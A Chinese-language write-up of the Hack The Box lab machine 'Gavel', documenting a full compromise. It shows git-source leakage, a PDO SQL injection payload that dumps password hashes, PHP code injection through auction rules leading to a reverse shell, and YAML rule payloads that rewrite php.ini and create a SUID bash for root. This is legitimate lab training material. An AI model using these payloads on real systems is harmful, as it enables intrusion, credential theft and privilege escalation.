端口扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/gavel]
└─$ sudo nmap -p- --min-rate 10000 10.10.11.97 -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-12 19:13 CST
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.75 seconds

web 渗透

看到开了 80 端口,先去 web 页面看一下。

image1

有注册和登录的页面,先注册一个账号,再进行登录:

image2

多了两个页面,其中一个看上去是类似拍卖的页面,没有别的信息。

进行目录扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(kali㉿kali)-[~/HTB/gavel]
└─$ dirsearch -u "http://gavel.htb"
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/HTB/gavel/reports/http_gavel.htb/_26-01-12_19-18-06.txt

Target: http://gavel.htb/

[19:18:06] Starting:
[19:18:11] 301 - 305B - /.git -> http://gavel.htb/.git/
[19:18:11] 200 - 3B - /.git/COMMIT_EDITMSG
[19:18:11] 200 - 23B - /.git/HEAD
[19:18:11] 200 - 407B - /.git/branches/
[19:18:11] 200 - 136B - /.git/config
[19:18:11] 200 - 73B - /.git/description
[19:18:11] 200 - 616B - /.git/
[19:18:11] 200 - 670B - /.git/hooks/
[19:18:11] 200 - 240B - /.git/info/exclude
[19:18:11] 301 - 321B - /.git/logs/refs/heads -> http://gavel.htb/.git/logs/refs/heads/
[19:18:11] 301 - 315B - /.git/logs/refs -> http://gavel.htb/.git/logs/refs/
[19:18:11] 200 - 486B - /.git/logs/
[19:18:11] 200 - 454B - /.git/info/
[19:18:11] 200 - 41B - /.git/refs/heads/master
[19:18:11] 200 - 422B - /.git/logs/refs/heads/master
[19:18:11] 200 - 467B - /.git/refs/
[19:18:11] 200 - 422B - /.git/logs/HEAD
[19:18:11] 301 - 316B - /.git/refs/heads -> http://gavel.htb/.git/refs/heads/
[19:18:11] 200 - 219KB - /.git/index
[19:18:11] 301 - 315B - /.git/refs/tags -> http://gavel.htb/.git/refs/tags/
[19:18:12] 200 - 2KB - /.git/objects/
[19:18:22] 302 - 0B - /admin.php -> index.php
[19:18:28] 301 - 307B - /assets -> http://gavel.htb/assets/
[19:18:28] 200 - 515B - /assets/
[19:18:38] 301 - 309B - /includes -> http://gavel.htb/includes/
[19:18:38] 403 - 274B - /includes/
[19:18:38] 200 - 3KB - /index.php
[19:18:38] 200 - 3KB - /index.php/login/
[19:18:40] 200 - 1KB - /login.php
[19:18:41] 302 - 0B - /logout.php -> index.php
[19:18:49] 200 - 1KB - /register.php

Task Completed

可以看到能够扫出来 .git 目录,说明存在 git 泄漏 漏洞,那就用 git-dumper 下载下来。

下载下来了如下的一些文件:

1
2
3
┌──(kali㉿kali)-[~/HTB/gavel/gavel.htb]
└─$ ls
admin.php assets bidding.php f5dcb92e8a3e4ea4a6006ac5e85c4482 includes index.php inventory.php login.php logout.php register.php rules

这些就是网站后台的源代码,每个大概都看了一下,其中 bid_handler.php 里面有一段有意思的代码:

1
2
3
4
5
6
7
8
9
10
11
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}

这段代码里面的 runkit_function_add 会动态的创建一个 php 函数, $rule 会被作为函数体,后续在 ruleCheck 时被执行。

结合这个网站的作用来看,这是在添加拍卖的规则,然后检测我们的拍卖是否是符合规则的。如果符合某种规则,我们就可以拍下这个商品。

$rule 是可以被修改的,机制写在 admin.php 里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
header('Location: index.php');
exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');

if ($auction_id > 0 && (empty($rule) || empty($message))) {
$stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$_SESSION['success'] = 'Auction not found.';
header('Location: admin.php');
exit;
}
if (empty($rule)) $rule = $row['rule'];
if (empty($message)) $message = $row['message'];
}

if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}
}

这段代码是说,存在一个权限为 auctioneer 的用户,它可以修改某个商品的 rule。

我们可以看看默认的规则长什么样子:

1
2
3
4
5
6
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."

- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

看上去就是一个普通的 php 代码的形式。

所以,我们产生了一个利用路径:想办法登录到 auctioneer 的账号,修改某个商品的 rule 为 php 的反弹 shell 代码,然后拍下这个商品从而执行这个 php 代码,进而获取反弹 shell。

所以第一步,我们首先需要获取到 auctioneer 的登录凭证。

看到 inventory.php 里面有一段很有意思的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}

可以看到 $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC"); 这一句有一个很扎眼的语句的直接连接,这有可能会导致 SQL 注入漏洞。

但看到上面这一句 $col = "\`" . str_replace("\`", "", $sortItem) . "\`"; , $col 是被反引号包裹起来的,而且反引号也已经被过滤了,似乎不太好注入。

但我网上搜索发现了这篇文章介绍了 PDO 参数化查询下的 SQL 注入漏洞。

总的来说,就是 $col 的地方我们可以输入 \?;#%00 来欺骗 PDO 的执行器,让它认为前面的那个问号也是一个占位符,从而把后面的 $userId 给拼接到 $col 的位置上去,产生 SQL 注入漏洞。

因此,payload 为:

sort=\?;-- -%00&user_id=x` from (select group_concat(username,0x3a,password)%20 as `'x` from users) y;-- -

这个 payload 里面有一些细节,第一个就是为什么写成 `'x` ,前面提到的文章里面也有写,是因为 PDO 插入语句时会用单引号引起来,所以实际上 x 的前面会有一个单引号,所以我们要查询的列名实际上是 'x ,所以要写成这个样子;第二点是为什么最后要加一个 y ,这是因为 mysql 的语句要求派生的表必须要有 别名,这个 y 就是给你查询后创建的表起了个名字,如果不加会报错。

然后我们就收到了返回的账号和密码:

image3

用 john 去破解这个密码哈希,破解出来是 midnight1

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/gavel]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
midnight1 (auctioneer)
1g 0:00:00:39 DONE (2026-01-12 20:42) 0.02554g/s 77.85p/s 77.85c/s 77.85C/s gabriel1..dalejr8
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

用这个账号和密码去登录,我们就可以使用 admin.php 了。

在 admin 页面,我们选择一个商品的规则进行修改,修改为反弹 shell 的 php 代码:

image4

接着,去 bidding 页面,我们给刚才修改的商品下注,这样在后台就会执行我们修改后的规则的代码:

image5

获取立足点

于是,我们在终端上就收到了弹回来的 shell:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.97 40298
bash: cannot set terminal process group (1018): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ whoami
whoami
www-data
www-data@gavel:/var/www/html/gavel/includes$

提权

看到在 /home 目录下有 auctioneer 用户,用刚才的密码尝试切换用户,发现切换成功了,但是 ssh 无法登录。

获取 user flag:

1
2
3
4
5
6
7
auctioneer@gavel:~$ ls
ls
user.txt
auctioneer@gavel:~$ cat user.txt
cat user.txt
e41d089d8a0ebed2212a710cexxxxxxx
auctioneer@gavel:~$

之后在 /opt/gavel 目录下发现了一些文件:

1
2
3
4
5
6
7
8
9
10
11
12
auctioneer@gavel:/opt/gavel$ ls
ls
gaveld sample.yaml submission
auctioneer@gavel:/opt/gavel$ ls -liah
ls -liah
total 56K
5864 drwxr-xr-x 4 root root 4.0K Nov 5 12:46 .
377 drwxr-xr-x 3 root root 4.0K Nov 5 12:46 ..
5846 drwxr-xr-x 3 root root 4.0K Jan 12 17:00 .config
5855 -rwxr-xr-- 1 root root 36K Oct 3 19:35 gaveld
5813 -rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
5838 drwxr-x--- 2 root root 4.0K Jan 12 17:02 submission

使用 pspy64 ,发现了 root 好像会运行这个文件,但是记录只有一条,无法实时看到运行的记录。

查看 auctioneer 用户的 id ,发现该用户属于 gavel-seller 这个组:

1
2
3
auctioneer@gavel:/opt/gavel$ id
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

查找是否存在属于这个组的文件:

1
2
3
4
auctioneer@gavel:/opt/gavel$ find / -group gavel-seller 2>/dev/null
find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util

发现了 /usr/loca/bin/gavel-util 这个文件。

查看该文件的使用方法,有几个选项:

1
2
3
4
5
6
7
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util
/usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice

简单探测发现,这个文件好像是一个提交刚才网页上的拍卖品的工具,可以通过 yaml 文件定义一个拍卖品进行上传。

yaml 文件的模版就在刚才的 /opt/gavel/ 目录下:

1
2
3
4
5
6
7
8
9
10
auctioneer@gavel:/opt/gavel$ cat sample.yaml
cat sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

看上去还是有一个 rule 字段,好像跟刚才在 web 渗透时看到的一样。

/opt/gavel 目录下的 gaveld 文件可以拿出来进行分析,用 IDA 进行查看,发现里面的一些字符串和使用方法等跟 gavel-util 基本上一样,两个应该是一样的文件。

其中看到一个逻辑是这样的:

image6

看上去是有个 /opt/gavel/.config/php/php.ini 文件,然后通过一个 php 的沙箱进行了一些操作。

其中,php.ini 的内容是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

可以看到定义了一些限制条件,例如 open_basedir disable_function 等等。

想到前面的 web 渗透时,rule 字段的内容可以作为 php 代码执行,因此这里也做一样的尝试,发现确实会执行,但是如果是被禁止的函数,会输出说这个函数被禁止了,而且除了 open_bashdir 目录下的文件之外,其他目录的文件好像都不能操作。

那我们可以先把 /opt/gavel/.config/php/php.init 的内容修改了,把限制都去掉,再尝试进行命令执行。

/usr/local/bin/gavel-util submit abc.yaml 提交一个包含恶意 php 代码的 yaml 文件。

abc.yaml 内容如下:

1
2
3
4
5
6
name: Hacker!!
description: hacker!!!
image: "abc.png"
price: 1
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: file_put_contents('/opt/gavel/.config/php/php.ini',"engine=On\ndisplay_errors=On\nopen_basedir=\ndisable_functions=");return false;

然后看到输出为 Item submitted for review in next auction ,似乎是提交成功了。

接着查看 /opt/gavel/.config/php/php.ini 的内容,已经被修改了:

1
2
3
4
5
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
open_basedir=

然后提交一个用于提权的 yaml 文件:

1
2
3
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit shell.yaml
/usr/local/bin/gavel-util submit shell.yaml
Item submitted for review in next auction

其中 shell.yaml 的内容如下:

1
2
3
4
5
6
name: Hacker!!
description: hacker!!!
image: "abc.png"
price: 1
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: system('cp /bin/bash /home/auctioneer/bash;chmod +s /home/auctioneer/bash');return false;

接着在用户家目录下就看到多了 bash 文件,用 bash -p 提权:

1
2
3
4
5
6
7
8
9
auctioneer@gavel:~$ ls
ls
abc.yaml abc.yaml.1 bash shell.yaml user.txt
auctioneer@gavel:~$ ./bash -p
./bash -p
bash-5.1# whoami
whoami
root
bash-5.1#

已经提权到 root 了,获取 root flag:

1
2
3
4
bash-5.1# cat root.txt
cat root.txt
579efb98aecf2fe981f3ef6d8xxxxxxx
bash-5.1#

PS

最后查看 systemctl ,发现有一个 gaveld.service ,其内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# /etc/systemd/system/gaveld.service
[Unit]
Description=Gavel Root Daemon
After=network.target

[Service]
ExecStart=/opt/gavel/gaveld
Restart=always
User=root
Group=root
RuntimeDirectory=gavel
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target

所以那个 gaveld 文件就是 root 在运行,所以拿到的 shell 就是 root 的 shell。